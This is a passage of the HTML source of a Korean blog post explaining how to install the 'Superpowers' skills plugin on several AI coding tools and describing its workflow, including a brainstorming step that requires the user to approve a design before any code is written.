&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;업데이트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;/plugin update&lt;/code&gt; 한 줄&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;수동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;패키지 매니저&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;오픈소스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다양함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하자면, 일반 시스템 프롬프트는 행동 지침을 &lt;b&gt;제안&lt;/b&gt;하지만, Superpowers는 그 지침의 실행을 &lt;b&gt;강제&lt;/b&gt;한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJWgOO/dJMcaadYzIo/CsmNz6cFOJ7mq6wytLdjA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJWgOO/dJMcaadYzIo/CsmNz6cFOJ7mq6wytLdjA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJWgOO/dJMcaadYzIo/CsmNz6cFOJ7mq6wytLdjA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJWgOO%2FdJMcaadYzIo%2FCsmNz6cFOJ7mq6wytLdjA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;1076&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 2 --&gt;
&lt;h2 id=&quot;section-2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 플랫폼별 설치 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 검증은 모든 플랫폼에서 공통이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 완료 후 새 세션을 시작하고 &quot;help me plan this feature&quot; 또는 &quot;let's debug this issue&quot;처럼 스킬을 트리거하는 프롬프트를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 자동으로 관련 Superpowers 스킬을 호출하면 설치가 성공한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code (공식 마켓플레이스 &amp;mdash; 권장)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 공식 플러그인 마켓플레이스에 등재되어 있어 가장 간단하다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/plugins/superpowers&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.com/plugins/superpowers&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/plugin install superpowers@claude-plugins-official&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마켓플레이스 직접 등록 경로도 지원한다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/plugin marketplace add obra/superpowers-marketplace
/plugin install superpowers@superpowers-marketplace&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 전역으로 난 user scope으로 진행&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ABBWC/dJMcaiXfE3M/kcSI1ZDX2XyBa2r7JyKKn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ABBWC/dJMcaiXfE3M/kcSI1ZDX2XyBa2r7JyKKn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ABBWC/dJMcaiXfE3M/kcSI1ZDX2XyBa2r7JyKKn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FABBWC%2FdJMcaiXfE3M%2FkcSI1ZDX2XyBa2r7JyKKn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;534&quot; height=&quot;195&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;822&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zYEYT/dJMcajaNmcy/pGu1w9eAzoCakiK6ktFdQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zYEYT/dJMcajaNmcy/pGu1w9eAzoCakiK6ktFdQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zYEYT/dJMcajaNmcy/pGu1w9eAzoCakiK6ktFdQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzYEYT%2FdJMcajaNmcy%2FpGu1w9eAzoCakiK6ktFdQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;366&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;822&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업데이트는 한 줄이다. 스킬도 자동으로 함께 업데이트된다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/plugin update superpowers&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cursor&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cursor Agent 채팅 창에서 바로 실행한다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;/add-plugin superpowers&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는 플러그인 마켓플레이스에서 &quot;superpowers&quot;를 검색하여 설치한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex에게 직접 지시하는 방식이 가장 간단하다.&lt;/p&gt;
&lt;pre class=&quot;awk&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Fetch and follow instructions from https://raw.githubusercontent.com/obra/superpowers/refs/heads/main/.codex/INSTALL.md&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트 기반 스킬(dispatching-parallel-agents, subagent-driven-development)을 사용하려면 설정 파일에 다음을 추가한다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;[features]
multi_agent = true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenCode&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;opencode.json&lt;/code&gt;에 한 줄을 추가하고 재시작한다. 플러그인 자동 설치와 스킬 등록이 동시에 이루어진다.&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;plugin&quot;: [&quot;superpowers@git+https://github.com/obra/superpowers.git&quot;]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GitHub Copilot CLI (v5.0.7 신규 지원)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v5.0.7에서 GitHub Copilot CLI 지원이 추가되었다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/releases/tag/v5.0.7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;릴리스 노트&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;copilot plugin marketplace add obra/superpowers-marketplace
copilot plugin install superpowers@superpowers-marketplace&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Gemini CLI&lt;/h3&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 설치
gemini extensions install https://github.com/obra/superpowers

# 업데이트
gemini extensions update superpowers&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;브라우저(웹) 환경 주의&lt;/b&gt;: 위 설치 방법은 CLI/데스크톱 클라이언트 기준이다. &lt;br /&gt;Claude.ai 브라우저 인터페이스는 현재 플러그인 설치를 지원하지 않으므로, Superpowers를 사용하려면 Claude Code CLI 또는 지원되는 에디터 환경이 필요하다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 3 --&gt;
&lt;h2 id=&quot;section-3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 7단계 워크플로우 상세&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Superpowers는 7단계 워크플로우로 돌아간다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;914&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cORlnN/dJMcafGlT0x/SazmHEgKbaWAzfwF8L7kD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cORlnN/dJMcafGlT0x/SazmHEgKbaWAzfwF8L7kD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cORlnN/dJMcafGlT0x/SazmHEgKbaWAzfwF8L7kD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcORlnN%2FdJMcafGlT0x%2FSazmHEgKbaWAzfwF8L7kD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;914&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;914&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;각 단계는 별도 SKILL.md 파일로 정의되어 있고, 에이전트가 상황을 감지하면 자동으로 해당 스킬을 호출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 단계의 SKILL.md 원문을 기반으로 설명하고, 따라할 수 있는 예시를 함께 붙였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1 &amp;mdash; brainstorming: 코드 전에 설계 먼저&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;814&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chRdpS/dJMcai34DAc/ed5IJkQNydzbDGdaUx0JMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chRdpS/dJMcai34DAc/ed5IJkQNydzbDGdaUx0JMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chRdpS/dJMcai34DAc/ed5IJkQNydzbDGdaUx0JMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchRdpS%2FdJMcai34DAc%2Fed5IJkQNydzbDGdaUx0JMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;356&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;814&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;트리거 조건&lt;/b&gt;: 기능 구현, 컴포넌트 빌드, 동작 수정 등 모든 구현 작업을 시작하기 전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;brainstorming 스킬의 핵심은 HARD-GATE 패턴이다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/brainstorming/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;brainstorming/SKILL.md&lt;/a&gt;에 이렇게 명시되어 있다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;&amp;lt;HARD-GATE&amp;gt;
Do NOT invoke any implementation skill, write any code, scaffold any project,
or take any implementation action until you have presented a design and
the user has approved it. This applies to EVERY project regardless of
perceived simplicity.
&amp;lt;/HARD-GATE&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;번역 : 설계안을&amp;nbsp;먼저&amp;nbsp;제시하고&amp;nbsp;사용자의&amp;nbsp;승인을&amp;nbsp;받기&amp;nbsp;전까지는,&amp;nbsp;구현용&amp;nbsp;skill&amp;nbsp;호출,&amp;nbsp;코드&amp;nbsp;작성,&amp;nbsp;프로젝트&amp;nbsp;스캐폴딩,&amp;nbsp;기타&amp;nbsp;구현&amp;nbsp;작업을&amp;nbsp;일절&amp;nbsp;진행하지&amp;nbsp;마세요.&amp;nbsp;이&amp;nbsp;규칙은&amp;nbsp;프로젝트가&amp;nbsp;아무리&amp;nbsp;단순해&amp;nbsp;보여도&amp;nbsp;모든&amp;nbsp;프로젝트에&amp;nbsp;동일하게&amp;nbsp;적용됩니다.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;사용자 승인 없이는 구현 단계로 절대 진입할 수 없다. &quot;이건 너무 간단해서 설계가 필요 없어&quot;라는 합리화도 허용하지 않는다. SKILL.md는 명시한다: &quot;Simple 프로젝트야말로 검토되지 않은 가정이 가장 많은 낭비를 만드는 곳이다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9단계 체크리스트로 진행한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;프로젝트 컨텍스트 탐색 (파일, 문서, 최근 커밋 확인)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;비주얼 컴패니언 제안&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;명확화 질문 (한 번에 1개씩)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;2-3가지 접근 방식 + 트레이드오프 + 권장안 제시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;설계 발표 (섹션별로, 각 섹션마다 승인 요청)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;설계 문서를 &lt;code&gt;docs/superpowers/specs/YYYY-MM-DD-&amp;lt;topic&amp;gt;-design.md&lt;/code&gt;에 저장 후 커밋&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;스펙 자기 검토 (플레이스홀더, 모순, 모호함 확인)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;사용자 리뷰&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;writing-plans 스킬로 전환&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 프롬프트&lt;/b&gt;: &quot;FastAPI에 JWT 인증 기능을 추가하고 싶어.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;: 에이전트가 바로 코드를 쓰는 대신 프로젝트를 탐색한 뒤, JWT 방식 / Session 방식 / OAuth2 외부 서비스 3가지 접근법과 각각의 트레이드오프를 제시한다. 선택 완료 후 설계 문서를 저장하고 커밋한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 물론 명시적으로 호출 해도 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1746&quot; data-origin-height=&quot;194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dK9lxm/dJMcaaE3H1y/Dx6KRrgvtoo2XNVKyxOGnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dK9lxm/dJMcaaE3H1y/Dx6KRrgvtoo2XNVKyxOGnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dK9lxm/dJMcaaE3H1y/Dx6KRrgvtoo2XNVKyxOGnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdK9lxm%2FdJMcaaE3H1y%2FDx6KRrgvtoo2XNVKyxOGnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1746&quot; height=&quot;194&quot; data-origin-width=&quot;1746&quot; data-origin-height=&quot;194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJIh5G/dJMcafl25xQ/VxpZiQpeEKAzN6uJVrpllk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJIh5G/dJMcafl25xQ/VxpZiQpeEKAzN6uJVrpllk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJIh5G/dJMcafl25xQ/VxpZiQpeEKAzN6uJVrpllk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJIh5G%2FdJMcafl25xQ%2FVxpZiQpeEKAzN6uJVrpllk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;509&quot; height=&quot;92&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1704&quot; data-origin-height=&quot;1346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/11Ae4/dJMcaiwgDhd/w4NoKbngZZ55rN7tfKkgt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/11Ae4/dJMcaiwgDhd/w4NoKbngZZ55rN7tfKkgt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/11Ae4/dJMcaiwgDhd/w4NoKbngZZ55rN7tfKkgt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F11Ae4%2FdJMcaiwgDhd%2Fw4NoKbngZZ55rN7tfKkgt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1704&quot; height=&quot;1346&quot; data-origin-width=&quot;1704&quot; data-origin-height=&quot;1346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 이후 몇가지 질문 완료 후 디자인 문서 작업 시작 ( 세 섹션 모두 승인됐습니다. 디자인 문서를 작성하겠습니다. )&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;564&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKmRDO/dJMcaf0Cbwg/69Fq7TPLpExKzFv5CLUer1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKmRDO/dJMcaf0Cbwg/69Fq7TPLpExKzFv5CLUer1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKmRDO/dJMcaf0Cbwg/69Fq7TPLpExKzFv5CLUer1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKmRDO%2FdJMcaf0Cbwg%2F69Fq7TPLpExKzFv5CLUer1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1500&quot; height=&quot;564&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;564&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2 &amp;mdash; using-git-worktrees: 격리된 작업 공간 생성&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;898&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPAr5u/dJMcai34DBu/Pw8GUJLUiDbvo3kjo9jmxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPAr5u/dJMcai34DBu/Pw8GUJLUiDbvo3kjo9jmxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPAr5u/dJMcai34DBu/Pw8GUJLUiDbvo3kjo9jmxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPAr5u%2FdJMcai34DBu%2FPw8GUJLUiDbvo3kjo9jmxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;353&quot; height=&quot;333&quot; data-origin-width=&quot;952&quot; 